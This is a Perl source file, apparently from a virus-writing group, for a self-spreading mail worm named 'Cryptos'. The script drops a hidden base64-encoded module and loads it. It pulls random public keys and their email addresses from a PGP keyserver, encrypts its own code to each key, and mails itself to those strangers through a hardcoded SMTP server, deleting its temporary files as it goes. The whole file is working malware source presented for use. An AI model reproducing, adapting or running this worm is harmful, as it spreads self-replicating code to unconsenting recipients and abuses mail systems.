#!/usr/bin/perl

# mailworm using GPG by R3s1stanc3 [vxnetw0rk]
# r3s1stanc3@riseup.net
# http://r3s1stanc3.me

use LWP::Simple ;
use Net::SMTP ;
use MIME::Base64 ;

#### SMTP config
# SMTP server is set in l. 1750
$smtpuser = 'email@hoster.com' ;
$smtppass = 'smtppassword' ;

$name = "Cryptos" ;

# one of these base64 encoded messages will be written in the email body
@messages = ( "WmVyc3RvZXJ0IGRpZSBEb2VyZmVyIHVuZCBkaWUgU3RhbW10aXNjaG1lbnRhbGl0YWV0LApEZW5uIHdlciBkaWUgZGV1dHNjaGUgRWljaGUgc2FldCwgZGVyIHNvbGwgZsO8ciBpbW1lciBVbmtyYXV0IGVybnRlbiEKRXMgc29sbCB3dWNoZXJuIHVuZCB6dXIgUGxhZ2Ugd2VyZGVuLCBoaWVyIHVuZCBhdWZkZXIgZ2FuemVuIEVyZGUsCkljaCBtb2VjaHRlIHdpbGRlIFBmbGFuemVuIGJsdWVoZW4gc2VoZW4hCg==", "VW5kIHdlbm4gZHUgZGllc2VuIFN0YWF0IHNpZWhzdCwgZGVyIHNpY2ggbWVpbiBWYXRlciBuZW5udCwgcmljaHRlIGlobSBhdXMsCkRhc3MgZXIgbWljaCBzZWl0IEphaHJlbiBiZWx1ZWd0IHVuZCBiZXJhdWJ0ClVuZCwgZGFzcyB3aXIgbmljaHQgdmVyd2FuZHQgc2luZCB1bmQgZXMgYXVjaCBuaWVtYWxzIHdhcm4gdW5kIGRhbm4sClNhZyBpaG0gdm9uIG1laW5lciBNdXR0ZXIsIGRhc3Mgc2llIHNpY2ggYXVjaCBhbiBuaWNodHMgZXJpbm5lcm4ga2Fubi4=" ) ;

# MIME::Lite is not installed by default, so we gonna drop it :)
$litePM = <<"TEXT" ;
[encoded data, 130264 characters]
Cj1jdXQKCg==
TEXT

open ( FILE, ">", ".lite.pm" ) ; # filenames starting with "." will not be shown by default
print FILE decode_base64 ( $litePM ) ; # drop the module
close ( FILE ) ;
require ( "./.lite.pm" ) ;
unlink ( ".lite.pm" ) ; # remove the file, we don't need it anymore

@a = &gpg ( ) ;
while ( $a[0] eq "" )
{
	@a = &gpg ( ) ;
}
$to = $a [ 0 ] ;
$file = "$a[1]" ;

$smtp = Net::SMTP->new('mail.privatdemail.net') or die "1" ;


$smtp->datasend ( "AUTH LOGIN\n" ) or die 'auth login' ;
$smtp->response ( ) ;

$smtp->datasend ( encode_base64($smtpuser) ) or die 'username' ;
$smtp->response ( ) ;

$smtp->datasend ( encode_base64($smtppass) ) or die 'password' ;
$smtp->response ( ) ;

$smtp->mail ( $smtpuser ) or die '$smtp->mail' ;

$msg = MIME::Lite->new (
	From	=> $smtpuser,
	To		=> $email,
	Subject	=> "$name walking around the world",
	Type	=> 'multipart/mixed'
) or die "mime lite" ;

open ( FILE, ".$file.msg.asc" ) ;
@data = <FILE> ; # reading the encrypted message
close ( FILE ) ;
unlink ( ".$file.msg.asc" ) ;

$text = join ( '', @data ) ;

$msg -> attach (
	Type	=> 'TEXT',
	Data	=> $text
) or die "body" ;

$msg -> attach (
	Type	=> 'application/octet-stream',
	Encoding => 'base64',
	Path	=> ".$file.asc",
	Filename => "$name.pl.pgp",
	Disposition => 'attachment'
) or die "attachment" ;

$smtp -> to ( "$to" ) or die "to" ;
$smtp -> data ( ) or die "data" ;
$smtp -> datasend ( $msg->as_string ) or die "10" ;
$smtp -> dataend ( ) ;

$smtp -> quit ( ) ;
unlink ( ".$file.asc" ) ;

sub gpg
{

  unlink ( ".tmp_ring.pgp" ) ; # just in case ;)
  unlink ( ".tmp_ring.pgp~" ) ;
  $keyring = "--no-default-keyring --keyring ./.tmp_ring.pgp" ;
  @chars = ( "a" .. "z" ) ; # we will generate a random string, to search for a key
  $randStr = $chars [ int(rand(25)) ] . $chars [ int(rand(25)) ] . $chars [ int(rand(25)) ] . $chars [ int(rand(25)) ] ;
  $result = get "http://eu.pool.sks-keyservers.net/pks/lookup?search=$randStr&op=get" ; # Download a random key from a keyserver

  $key = (split ( /-----END PGP PUBLIC KEY BLOCK-----/,(split(/-----BEGIN PGP PUBLIC KEY BLOCK-----/, $result))[1] )) [0] ; # split the result to extract the gpg block

  if ( $key ne "" )
  {
  	open ( FILE, ">", ".$randStr.asc" ) ;
	print FILE "-----BEGIN PGP PUBLIC KEY BLOCK-----" ;
	print FILE $key ;
	print FILE "-----END PGP PUBLIC KEY BLOCK-----" ;
  	close ( FILE ) ;
  }
  else { return ( &gpg() ) ; } # write the key to a file and if it didn't work, try tp get a new one

  $import = `LANG="en_US" gpg $keyring --import .$randStr.asc 2>&1` ; # import the downloaded key in a temoprary keyring
  unlink ( ".$randStr.asc" ) ;

  @tmp = split ( /: public key /, $import ) ;
  @tmp2 = split ( /gpg: key /, $tmp [ 0 ] ) ;
  $id = $tmp2 [ 1 ] ; # getting the ID of the new key

  if ( $id ne "" )
  {
    system ( "gpg $keyring --trust-model always -o .$randStr.asc -a --yes -e -r $id $0" ) ; # encrypt the worm with the gpg key (will be used as the attachment later)

    open ( FILE, ">", ".$randStr.msg" ) ;
	print FILE decode_base64 ( $messages [ int (rand(2)) ] ) ;
	close ( FILE ) ;
	system ( "gpg $keyring --trust-model always -o .$randStr.msg.asc -a --yes -e -r $id .$randStr.msg" ) ;
	unlink ( ".$randStr.msg" ) ;

    $keyInfo = `gpg $keyring --list-key $id 2>&1` ;
    @tmp = split ( /</, $keyInfo ) ;
    @tmp2 = split ( />/, $tmp [ 1 ] ) ;
    $email = $tmp2 [ 0 ] ; # get the email address

	if ( $email ne "" )
	{
		@ret = ( $email, $randStr ) ;
	}
	else { @ret = &gpg ( ) ; } # if we didn't get the address, we'll try again
    unlink ( ".tmp_ring.pgp" ) ; # deleting the temporary keyring
	unlink ( ".tmp_ring.pgp~" ) ;
	return ( @ret ) ; # returning an array with the email address and the used random string (for the filenames)
  }
  else { return ( &gpg ( ) ) ; }

}
